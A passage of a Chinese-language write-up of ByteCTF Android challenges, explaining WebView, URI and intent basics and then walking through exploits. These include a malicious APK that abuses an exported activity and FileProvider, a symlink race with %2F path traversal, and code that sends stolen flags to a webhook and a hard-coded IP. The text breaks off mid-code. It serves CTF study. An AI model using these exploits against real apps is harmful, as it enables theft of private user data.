一:前置知识 1.WebView 现在很多App中都会内置html5界面,有时候会涉及到与android进行交互,这就需要用到WebView控件,WebView可以做到:
1 2 3 1.显示和渲染web界面 2.直接使用html进行布局 3.与js进行交互
创建WebView拥有两种方法,第一种方法是WebView webview = new WebView(getApplicationContext());创建;第二种是在xml文件内放在布局中;下面以第二种方法为例
Activity_main.xml文件
1 2 3 4 5 6 7 8 <WebView android:id="@+id/eeeewebview" android:layout_width="0dp" android:layout_height="0dp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" />
MainActivity.java文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); WebView webView = (WebView) findViewById(R.id.eeeewebview); webView.loadUrl("https://www.baidu.com" ); webView.setWebViewClient(new WebViewClient (){ @Override public boolean shouldOverrideUrlLoading (WebView view, String url) { view.loadUrl(url); return true ; } });
写完之后运行,发现报错,无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED), 经过搜索在manifest内设置usesCleartextTraffic为true即可
可以看到百度已经被打开了,啊~因为这个app是我用来测试其他东西的,所以会看到三个奇奇怪怪的按钮
2.URI Uri代表要操作的数据,Android上可用的每种资源 (图像、视频片段、网页等) 都可以用Uri来表示。从概念上来讲,UrI包括URL。
Uri的基本结构是
1 2 大致为[scheme:]scheme-specific-part[#fragment] 细分为[scheme:][//authority][path][?query][#fragment]
path可以存在多个,以”/“连接 scheme://authority/path1/path2/path3?query#fragment
query可以带参数的返回值也可不带 scheme://authority/path1/path2/path3?id = 1#fragment
举例如下
1 http://www.eeeeeeeeeeeeeeeea.cn/about?id=1
scheme是在”:”之前,所以他匹配的是http
authority是在”//“之后,所以www.eeeeeeeeeeeeeeeea.cn与其对应
path自然对应的就是about这个页面
query对应的是id=1
在安卓内,除了authority和scheme必须存在,其他的可以选择性的要或者不要
将一个url解析成uri对象的操作是Uri.parse(“http://www.baidu.com”),就是将百度网址解析成一个uri对象,可以对其进行其他的各种操作了
3.intent 1.intent功能 intent是各大组件之间通信的桥梁,Android有四个组件,分别是Activity,Service,Broadcast Receiver,Content Provider;组件之间可以进行通信,互相调用,从而形成一个app
每个应用程序都有若干个Activity组成,每一个Activity都是一个应用程序与用户进行交互的窗口,呈现不同的交互界面。因为每一个Acticity的任务不一样,所以经常互在各个Activity之间进行跳转,在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统,系统会根据这个Intent帮助你找到对应的Activity,即使这个Activity在其他的应用中,也可以用这种方法启动它。
2.显式intent和隐式intent intent包括两种,一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名,多发于同一个app内;隐式intent只知道要执行的动作是什么,比如拍照,录像,打开一个网站。
那么隐式的intent如何启动一个组件呢呢?如果没有约束的话可能会造成一些后果,所以在Manifest文件内定义了intent-filter标签,如果组件中的intentfilter和intent中的intentfilter匹配,系统就会启动该组件,并把intent传给它;若有多个组件都符合,系统变会弹出一个窗口,任我们选择启动该intent的应用(app)。
在intent-filter标签中,我们可以选择三个intent的属性进行设置,包括action,category,data
上图intent-filter定义的action为MAIN,代表app以这个activity开始
3.intent属性 1.component 该属性是显式intent特有的,表明要启动的类的全称,包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。
下面代码可以启动另一个app的主页面
1 2 3 4 5 Intent intent = new Intent (Intent.ACTION_MAIN);intent.addCategory(Intent.CATEGORY_LAUNCHER); ComponentName cn = new ComponentName (packageName, className); intent.setComponent(cn); startActivity(intent);
一个activity是否能被其他app的组件启动取决于”android:exported”,true能,false不能。如果是false,这个activity只能被相同app的组件启动,或者是相同user ID的app的组件启动。
如果显式设置exported属性,不管这个activity有没有设置intent-filter,那么exported的值就是显式设置的值
如果没有设置exported属性,那么exported属性取决于这个activity是否有intent-filter
如有intent-filter,那么exported的值就是true
如没有intent-filter,那么exported的值就是false
2.action 一个字符串变量,用来指定Intent要执行的动作类别(比如:view or pick)。你可以在你的应用程序中自定义action,但是大部分的时候你只使用在Intent中定义的action,你可以通过Intent的setAction()方法设置action。
3.data 一个Uri对象,对应着一个数据。只设置数据的URI可以调用setData()方法,只设置MIME类型可以调用setType()方法,如果要同时设置这两个可以调用setDataAndType()。
4.category 一个包含Intent额外信息的字符串,表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中,你可以通过调用addCagegory()方法来设置category。
Intent可以携带的额外key-value数据,你可以通过调用putExtra()方法设置数据,每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据,然后通过调用putExtras()方法来设置数据。
6.flags 用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
二:题目环境布置 1.docker存在问题 运行run.sh,我自己启动了一遍docker环境,修改了一些部分,最终发现是在server.py文件的setup_emulator()函数 中没有模拟出来手机,只是创建了一个AVD环境,并没有emulator成功
由于自己能力有限,实在不知道如何修好这个docker环境,便就此搁置,导致后面silver droid利用也不完全;如若后续进步,必定再战一次
2.server.py脚本内函数 1.adb_broadcast adb broadcast便是将服务器上的flag传给apk的FlagReceiver,通过adb shell进入手机,可以查看到flag被存到了”files/flag”内
之前有一个疑问,便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter,防止外界app进行干扰,那么是怎么将flag传递给FlagReceiver呢?
由于root的情况下,是忽略掉exported的,所以可以对其进行广播
1 am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'
2.adb_activity 通过intent传递url数据,下面可以通过-d选项来指定Intent data URI
1 am start -a android.intent.action.VIEW -d https://www.baidu.com
下面的题目介绍,都是以pixel4为环境打的,因为docker我这边模拟不起来
同时记得自己写的apk要在AndroidManifest.xml内加两句话,可以让其有网络访问的权限
1 2 3 4 5 <uses-permission android:name ="android.permission.INTERNET" /> <application android:usesCleartextTraffic ="true"
三:Silver Droid 1.server.py分析 主要由攻击者提供一个url,在url内布置好exp,从而进行达到利用的目的,具体见代码块内分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 import os import randomimport subprocessimport sysimport timeimport requestsimport uuidfrom hashlib import *import zipfileimport signalimport stringisMacos = len (sys.argv) == 2 wordlist = string.ascii_letters difficulty = 4 random_hex = lambda x: '' .join([random.choice(wordlist) for _ in range (x)]) ADB_PORT = int (random.random() * 60000 + 5000 ) EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1 ) EXPLOIT_TIME_SECS = 30 APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk" ) FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag" ) HOME = "/home/user" VULER = "com.bytectf.silverdroid" ENV = {} ENV.update(os.environ) if not isMacos: ENV.update({ "ANDROID_ADB_SERVER_PORT" : "{}" .format (ADB_PORT), "ANDROID_SERIAL" : "emulator-{}" .format (EMULATOR_PORT), "ANDROID_SDK_ROOT" : "/opt/android/sdk" , "ANDROID_SDK_HOME" : HOME, "ANDROID_PREFS_ROOT" : HOME, "ANDROID_EMULATOR_HOME" : HOME + "/.android" , "ANDROID_AVD_HOME" : HOME + "/.android/avd" , "JAVA_HOME" : "/usr/lib/jvm/java-11-openjdk-amd64" , "PATH" : "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH" , "" ) }) def print_to_user (message ): print (message) sys.stdout.flush() def download_file (url ): try : download_dir = "download" if not os.path.isdir(download_dir): os.mkdir(download_dir) tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S" , time.localtime())+str (uuid.uuid4())+'.apk' ) f = requests.get(url) if len (f.content) > 10 *1024 *1024 : return None with open (tmp_file, 'wb' ) as fp: fp.write(f.content) return tmp_file except : return None def proof_of_work (): print_to_user(f"First, to ensure that the service will not be dos, please answer me a question." ) prefix = random_hex(6 ) suffix = random_hex(difficulty) targetHash = sha256((prefix+suffix).encode()).hexdigest() print_to_user(f'Question: sha256(("{prefix} "+"{"x" *difficulty} ").encode()).hexdigest() == "{targetHash} "' ) print_to_user(f'Please enter the {"x" *difficulty} to satisfy the above equation:' ) proof = sys.stdin.readline().strip() return sha256((prefix+proof).encode()).hexdigest() == targetHash def check_apk (path ): try : z = zipfile.ZipFile(path) for f in z.filelist: if f.filename == "AndroidManifest.xml" : return True return False except : return False def setup_emulator (): subprocess.call( "avdmanager" + " create avd" + " --name 'pixel_xl_api_30'" + " --abi 'google_apis/x86_64'" + " --package 'system-images;android-30;google_apis;x86_64'" + " --device pixel_xl" + " --force" + ("" if isMacos else " > /dev/null 2> /dev/null" ), env=ENV, close_fds=True , shell=True ) return subprocess.Popen( "emulator" + " -avd pixel_xl_api_30" + " -no-cache" + " -no-snapstorage" + " -no-snapshot-save" + " -no-snapshot-load" + " -no-audio" + " -no-window" + " -no-snapshot" + " -no-boot-anim" + " -wipe-data" + " -accel on" + " -netdelay none" + " -no-sim" + " -netspeed full" + " -delay-adb" + " -port {}" .format (EMULATOR_PORT) + ("" if isMacos else " > /dev/null 2> /dev/null " ) + "" , env=ENV, close_fds=True , shell=True , preexec_fn=os.setsid) def adb (args, capture_output=True ): return subprocess.run( ['adb' ] + (['-s' , 'emulator-36666' ]+args if isMacos else args), env=ENV, close_fds=True , capture_output=capture_output).stdout def adb_install (apk ): adb(["install" , "-t" , apk]) def adb_activity (activity, extras=None , wait=False , data=None ): args = ["shell" , "am" , "start" ] if wait: args += ["-W" ] args += ["-n" , activity] if extras: for key in extras: args += ["-e" , key, extras[key]] if data: args += ["-d" , data] adb(args) def adb_broadcast (action, receiver, extras=None ): args = ["shell" , "su" , "root" , "am" , "broadcast" , "-W" , "-a" , action, "-n" , receiver] if extras: for key in extras: args += ["-e" , key, extras[key]] adb(args) print_to_user(r""" [0;1;35;95m░█[0;1;31;91m▀▀[0;1;33;93m░█[0;1;32;92m░░[0;1;36;96m░▀[0;1;34;94m█▀[0;1;35;95m░█[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m▀▀[0;1;36;96m░█[0;1;34;94m▀▄[0;1;35;95m░█[0;1;31;91m▀▄[0;1;33;93m░█[0;1;32;92m▀▄[0;1;36;96m░█[0;1;34;94m▀█[0;1;35;95m░▀[0;1;31;91m█▀[0;1;33;93m░█[0;1;32;92m▀▄[0m [0;1;31;91m░▀[0;1;33;93m▀█[0;1;32;92m░█[0;1;36;96m░░[0;1;34;94m░░[0;1;35;95m█░[0;1;31;91m░▀[0;1;33;93m▄▀[0;1;32;92m░█[0;1;36;96m▀▀[0;1;34;94m░█[0;1;35;95m▀▄[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m░█[0;1;36;96m▀▄[0;1;34;94m░█[0;1;35;95m░█[0;1;31;91m░░[0;1;33;93m█░[0;1;32;92m░█[0;1;36;96m░█[0m [0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░░[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m░▀[0;1;33;93m░▀[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m░▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀░[0m """ )if not isMacos: if not proof_of_work(): print_to_user("Please proof of work again, exit...\n" ) exit(-1 ) print_to_user("Please enter your poc url:" ) url = sys.stdin.readline().strip() if url.strip('"' ) == url: url = f'"{url} "' if not url.startswith('"https://' ): print_to_user("Invalid poc url.\n" ) exit(-1 ) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n" ) emulator = setup_emulator() adb(["wait-for-device" ]) adb_install(APK_FILE) with open (FLAG_FILE, "r" ) as f: adb_broadcast(f"com.wuhengctf.SET_FLAG" , f"{VULER} /.FlagReceiver" , extras={"flag" : f.read()}) adb_activity(f"{VULER} /.MainActivity" , wait=True , data=url) print_to_user("Launching! Let your apk fly for a while...\n" ) if isMacos: input ('wait for debug' ) else : time.sleep(EXPLOIT_TIME_SECS) print_to_user("exiting......" ) try : os.killpg(os.getpgid(emulator.pid), signal.SIGTERM) os.killpg(os.getpgid(os.getpid()), signal.SIGTERM) except : pass
2.MainActivity逆向 使用jeb打开apk,MainActivity如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.bytectf.silverdroid;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.WebResourceRequest;import android.webkit.WebResourceResponse;import android.webkit.WebView;import android.webkit.WebViewClient;import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.util.HashMap;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); this .setContentView(0x7F0B001C ); Uri uri0 = this .getIntent().getData(); if (uri0 != null ) { WebView webView = new WebView (this .getApplicationContext()); webView.setWebViewClient(new WebViewClient () { @Override public boolean shouldOverrideUrlLoading (WebView view, String url) { try { Uri uri0 = Uri.parse(url); Log.e("Hint" , "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240" ); if (uri0.getScheme().equals("https" )) { return !uri0.getHost().endsWith(".myqcloud.com" ); } } catch (Exception e) { e.printStackTrace(); return true ; } return true ; } }); webView.setWebViewClient(new WebViewClient () { @Override public WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request) { FileInputStream inputStream; Uri uri0 = request.getUrl(); if (uri0.getPath().startsWith("/local_cache/" )) { File cacheFile = new File (MainActivity.this .getCacheDir(), uri0.getLastPathSegment()); if (cacheFile.exists()) { try { inputStream = new FileInputStream (cacheFile); } catch (IOException e) { return null ; } HashMap headers = new HashMap (); headers.put("Access-Control-Allow-Origin" , "*" ); return new WebResourceResponse ("text/html" , "utf-8" , 200 , "OK" , headers, inputStream); } } return super .shouldInterceptRequest(view, request); } }); this .setContentView(webView); webView.getSettings().setJavaScriptEnabled(true ); webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0); } } }
经过分析可知,MainActivity先loadUrl,从判断传入的intent是否符合https开头,以.myqcloud.com结尾,若符合;在请求js脚本的内容时会拦截其响应,对js脚本的response地址进行检查,则返回响应时修改响应数据。
3.jump.html 主要功能就是提供一个检查并且打开传入的url地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <h1>jump</h1> <script > function getQueryVariable (variable ) { var query = window .location .search .substring (1 ); var vars = query.split ("&" ); for (var i=0 ;i<vars.length ;i++) { var pair = vars[i].split ("=" ); if (pair[0 ] == variable){return pair[1 ];} } return (false ); } var myurl = getQueryVariable ("url" ).toString ().toLowerCase (); if (myurl != 'false' && myurl.length > 1 && myurl.indexOf ("myqcloud" )==-1 ) { window .location .href = myurl; } </script >
4.漏洞利用(不完整) 经过分析得知我们传入的poc必须以”https”开头,在webview中处理时以”myqcloud.com”结尾,但是在jump.html跳转页面时不包含myqcloud,需要用到字符转换之类.
由于是赛后复现,观察其他师傅的wp发现,我们js脚本中的请求url必须包含有flag文件,我自己也尝试过在几个服务器内部部署一个flag文件,可能是由于docker启动的问题,导致网络不稳定,一直请求不到
将此js文件放到https://bytectf-1314169455.cos.ap-nanjing.myqcloud.com内。
1 2 3 4 5 6 <script> async function fetchTest ( ){ fetch ("https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123" )} (async () => {await fetchTest ();})(); </script>
四:Bronze Droid 1.server.py分析 打开apk之前,先大概看了一眼docker和启动环境的脚本,和Silver Droid的大致一样,其中server.py的实现便不同,大致便是由攻击者实现一个恶意apk,将题目提供的apk和自己实现的apk均安装到模拟器内,启动恶意apk的MainActivity来获得flag
由于篇幅,下面server.py代码仅复制与上面不一样的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 print_to_user("Please enter your apk url:" ) url = sys.stdin.readline().strip() EXP_FILE = download_file(url) if not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n" ) exit(-1 ) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n" ) emulator = setup_emulator() adb(["wait-for-device" ]) adb_install(APK_FILE) with open (FLAG_FILE, "r" ) as f: adb_broadcast(f"com.bytectf.SET_FLAG" , f"{VULER} /.FlagReceiver" , extras={"flag" : f.read()}) time.sleep(3 ) adb_install(EXP_FILE) adb_activity(f"{ATTACKER} /.MainActivity" ) print_to_user("Launching! Let your apk fly for a while...\n" )
2.MainActivity逆向 看代码如下,一眼看去好短;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.bytectf.bronzedroid;import android.app.Activity;import android.os.Bundle;public class MainActivity extends Activity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); this .setContentView(0x7F0B001C ); String s = this .getIntent().getAction(); if (s != null && (s.equals("ACTION_SHARET_TO_ME" ))) { this .setResult(-1 , this .getIntent()); this .finish(); } } }
MainActivity的exported属性为true,所以可以通过外部app来启动MainActivity,具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件,然后受害者app通过setResult将flag回带给恶意apk。
想要读取flag文件,需要利用fileprovider,可知authority是com.bytectf.bronzedroid.fileprovider,所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag
3.漏洞利用 恶意apk的MainActivity如下,下面的MainActivity可以进行本地测试;如果打远程需要将flag通过http回传到服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package com.eeeetest.bronzedroid_pwn;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.widget.TextView;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.Socket;import java.net.URL;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = new Intent (); intent.setAction("ACTION_SHARET_TO_ME" ); intent.setClassName("com.bytectf.bronzedroid" ,"com.bytectf.bronzedroid.MainActivity" ); intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag" )); intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); startActivityForResult(intent,1 ); } @Override public void onActivityResult (int requestCode, int resultCode, Intent data) { super .onActivityResult(requestCode, resultCode, data); try { InputStreamReader inputStreamReader = new InputStreamReader (getContentResolver().openInputStream(data.getData())); char [] cArr = new char [1024 ]; StringBuffer stringBuffer = new StringBuffer ("" ); while (-1 != inputStreamReader.read(cArr, 0 , 1024 )) { stringBuffer.append(String.valueOf(cArr)); } String flag = new String (stringBuffer); ((TextView) findViewById(R.id.tv_show)).setText(new String (stringBuffer)); } catch (Exception e) { e.printStackTrace(); } } }
若想回传flag,只需要在恶意apk内增加一个httpGet功能,然后在服务器内监听一下,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void send (final String str) { new Thread () { @Override public void run () { try { Socket socket = new Socket ("47.101.67.103" , 1235 ); sleep(1000L ); if (socket.isConnected()) { System.out.println("connect succeed!" ); OutputStream outputStream = socket.getOutputStream(); outputStream.write(str.getBytes()); outputStream.flush(); outputStream.close(); socket.close(); } } catch (Exception unused) { } } }.start(); }
五:Gold Droid 1.server.py 和前两题又不一样,这题先运行了受害apk的main,然后再运行恶意apk的main来拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 print_to_user("Please enter your apk url:" ) url = sys.stdin.readline().strip() EXP_FILE = download_file(url) if not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n" ) exit(-1 ) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n" ) emulator = setup_emulator() adb(["wait-for-device" ]) adb_install(APK_FILE) adb_activity(f"{VULER} /.MainActivity" ) with open (FLAG_FILE, "r" ) as f: adb_broadcast(f"com.bytectf.SET_FLAG" , f"{VULER} /.FlagReceiver" , extras={"flag" : f.read()}) time.sleep(3 ) adb_install(EXP_FILE) adb_activity(f"{ATTACKER} /.MainActivity" ) print_to_user("Launching! Let your apk fly for a while...\n" ) if isMacos: input ('wait for debug' ) else : time.sleep(EXPLOIT_TIME_SECS) print_to_user("exiting......" )
2.MainActivity逆向 代码看起来没有什么漏洞,只是创建了一个文件并向内部写入” I'm in external”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.bytectf.golddroid;import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); this .setContentView(0x7F0B001C ); File externalFile = new File (this .getExternalFilesDir("sandbox" ), "file1" ); try { FileOutputStream fileOutputStream = new FileOutputStream (externalFile); fileOutputStream.write("I\'m in external\n" .getBytes(StandardCharsets.UTF_8)); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } }
VulProvider好像存在漏洞的样子
3.VulProvider逆向 VulProvider使用了ContentProvider将应用程序的数据暴露给外界。
如何通过一套标准及统一的接口获取其他应用程序暴露的数据?Android提供了ContentResolver,外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.bytectf.golddroid;import android.content.ContentProvider;import android.content.ContentValues;import android.database.Cursor;import android.net.Uri;import android.os.ParcelFileDescriptor;import java.io.File;import java.io.FileNotFoundException;import java.io.IOException;public class VulProvider extends ContentProvider { @Override public int delete (Uri uri, String selection, String[] selectionArgs) { return 0 ; } @Override public String getType (Uri uri) { return null ; } @Override public Uri insert (Uri uri, ContentValues values) { return null ; } @Override public boolean onCreate () { return false ; } @Override public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException { File file0 = this .getContext().getExternalFilesDir("sandbox" ); File file = new File (this .getContext().getExternalFilesDir("sandbox" ), uri.getLastPathSegment()); try { if (!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { throw new IllegalArgumentException (); } } catch (IOException e) { e.printStackTrace(); } return ParcelFileDescriptor.open(file, 0x10000000 ); } @Override public Cursor query (Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { return null ; } @Override public int update (Uri uri, ContentValues values, String selection, String[] selectionArgs) { return 0 ; } }
1 2 3 4 5 public static ParcelFileDescriptor open (File file, int mode) throws FileNotFoundException { final FileDescriptor fd = openInternal(file, mode); if (fd == null ) return null ; return new ParcelFileDescriptor (fd); }
1 2 3 4 5 6 7 8 9 10 11 12 private static FileDescriptor openInternal (File file, int mode) throws FileNotFoundException { final int flags = FileUtils.translateModePfdToPosix(mode) | ifAtLeastQ(O_CLOEXEC); int realMode = S_IRWXU | S_IRWXG; if ((mode & MODE_WORLD_READABLE) != 0 ) realMode |= S_IROTH; if ((mode & MODE_WORLD_WRITEABLE) != 0 ) realMode |= S_IWOTH; final String path = file.getPath(); try { return Os.open(path, flags, realMode); } catch (ErrnoException e) { throw new FileNotFoundException (e.getMessage()); } }
*注意 如果是普通文件,file.getAbsolutePath()和file.getCanonicalPath()是一样
如果是link文件,file.getAbsolutePath()是链接文件的路径;file.getCanonicalPath是实际文件的路径(所指向的文件路径)。
记住一定要执行adb shell setenforce 0 暂时关闭 selinux 进行验证。 不然会被坑惨,三天我才找到这个呜呜呜呜。
如果不关闭的话,file.getCanonicalPath是不会得到文件的软链接的路径,所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。
介绍:https://blog.csdn.net/a572423926/article/details/123261874
我写了一个demo,大家可以试试看,挺好玩的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.bytectf.test;import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.IOException;import android.net.Uri;import android.os.Bundle;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); File file0 = new File ("/data/data/com.bytectf.pwngolddroid/" ,"cache" ); System.out.println("file0 Path: " + file0.getPath()); String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink" ; Uri uri = Uri.parse(path); System.out.println("uri.getLastPathSegment:" +uri.getLastPathSegment()); File file = new File (this .getExternalFilesDir("sandbox" ),"../../../../../../../../data/data/com.bytectf.pwngolddroid/symlink" ); File file1 = new File (this .getExternalFilesDir("sandbox" ),uri.getLastPathSegment()); File file2 = new File (this .getExternalFilesDir("sandbox" ),"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink" ); System.out.println("file Path: " + file.getPath()); System.out.println("file1 Path: " + file1.getPath()); System.out.println("file2 Path: " + file2.getPath()); try { System.out.println("file1.getCanonicalPath:" +file1.getCanonicalPath()); } catch (IOException e) { e.printStackTrace(); } try { if (!file1.getCanonicalPath().startsWith(file0.getCanonicalPath())) { throw new IllegalArgumentException (); } } catch (IOException e) { e.printStackTrace(); } } }
用”%2F”绕过getLastPathSegment;
4.漏洞利用 那么我一开始想不到我们编写的apk如何与目标apk进行交流,如何启动目标apk的VulActivity,一方面需要请求受害者apk的VulProvider,另一方面需要进行线程竞争和软链接,当软链接合法的时候通过openFile的检测,进入ParcelFileDescriptor.open,这时如果凑巧非法链接到了flag文件,便可以得到flag了。
如果运行程序的话,可以观察到在手机里symlink文件的软链接一直在被切换,一是指向flag这个非法路径,二是指向sandbox/file1这个合法路径
由于我是用安卓机复现,所以让其指向了非法的flag文件和合法的/sandbox/file1便结束了(我不会说是我试了两天还没竞争出来),
三天后,解决了这个问题,已破案。原因上面以说👆
MainActivity如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 package com.bytectf.pwngolddroid;import androidx.appcompat.app.AppCompatActivity;import android.content.ContentResolver;import android.net.Uri;import android.os.Bundle;import android.util.Log;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.URL;public class MainActivity extends AppCompatActivity { String symlink; public void httpGet (String msg) { new Thread (new Runnable () { @Override public void run () { HttpURLConnection connection = null ; BufferedReader reader = null ; try { Log.e("in_httpGet" ,"inHttpGet1" ); URL url = new URL ("http://ip:port/flag?flag=" + msg); Thread.sleep(1 ); Log.e("in_httpGet" ,"inHttpGet2" ); connection = (HttpURLConnection) url.openConnection(); Thread.sleep(1 ); Log.e("in_httpGet" ,"inHttpGet3" ); connection.setRequestMethod("GET" ); Thread.sleep(1 ); Log.e("in_httpGet" ,"inHttpGet4" ); connection.getInputStream(); Thread.sleep(1 ); Log.e("httpget succeed" ,"http_get succeed" ); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } }).start(); } private String readUri (Uri uri) { InputStream inputStream = null ; try { ContentResolver contentResolver = getContentResolver(); inputStream = contentResolver.openInputStream(uri); if (inputStream != null ) { byte [] buffer = new byte [1024 ]; 